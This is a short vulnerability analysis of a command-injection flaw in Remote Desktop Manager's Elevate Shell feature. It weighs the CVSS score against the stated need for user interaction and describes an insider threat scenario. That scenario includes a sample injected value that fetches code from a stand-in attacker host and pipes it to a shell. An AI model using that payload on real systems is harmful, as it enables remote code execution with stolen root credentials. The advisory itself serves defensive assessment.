Remote Desktop Manager EUVD-2026-37023

Attacker must already be an authenticated RDM user whose role grants permission to create or modify a shared SSH entry that uses the Elevate Shell feature with stored elevation credentials. A separate victim user must then trigger the Elevate Shell action on the poisoned entry - this user interaction step gates exploitation despite the CVSS vector advertising UI:N. The target host must accept the elevation flow (e.g., sudo via the configured alternate username) and be reachable from the victim's RDM client; the bug does not affect personal/private entries that the attacker cannot share with a higher-privileged user.

Signals diverge: the CVSS 8.8 vector (AV:N/AC:L/PR:L/UI:N) paints this as easy network attack, but the description explicitly requires victim user interaction (clicking Elevate Shell) and shared-entry edit rights, which is closer to PR:L/UI:R - the official UI:N appears inconsistent with the prose and likely overstates severity. EPSS is very low (0.16%, 5th percentile) and the CVE is not listed in CISA KEV, with no public exploit identified at time of analysis, so opportunistic mass exploitation is unlikely. The realistic threat model is an insider or post-compromise actor who already has shared-vault write access and uses the bug to laterally escalate via SSH hosts using stored elevation creds; treat this as a targeted privilege-escalation issue rather than a wormable RCE despite the 8.8 score.

A junior operator with edit rights to a shared SSH entry in a corporate RDM vault inserts shell metacharacters into the entry's alternate-username field (e.g., bob;curl attacker/x|sh); when a senior admin later runs Elevate Shell against that host, RDM supplies the stored root elevation password and the injected payload runs as the elevated user on the target server. No public exploit identified at time of analysis, but the attack is straightforward given the low AC and the well-understood command-injection class.